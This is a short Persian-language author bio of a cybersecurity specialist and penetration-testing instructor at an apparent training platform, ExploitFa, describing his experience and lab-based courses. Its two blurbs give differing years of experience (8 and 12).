متخصص امنیت سایبری، پنتستر حرفه‌ای و بنیان‌گذار پلتفرم اکسپلویت‌فا با بیش از ۸ سال تجربه در تست نفوذ وب و شبکه. مدرس دوره‌های تخصصی امنیت سایبری و فعال در زمینه Bug Bounty.

مهدی غلامیمتخصص امنیت سایبری و مدرس تست نفوذ

مهدی غلامی، متخصص امنیت سایبری و مدرس تست نفوذ در اکسپلویت‌فا است و بیش از ۱۲ سال در حوزه تست نفوذ، امنیت شبکه و آموزش عملی امنیت فعالیت می‌کند. دوره‌های او بر تمرین در آزمایشگاه آنلاین و سناریوهای واقعی متمرکز است و هزاران دانشجو را برای ورود به بازار کار امنیت آماده کرده است.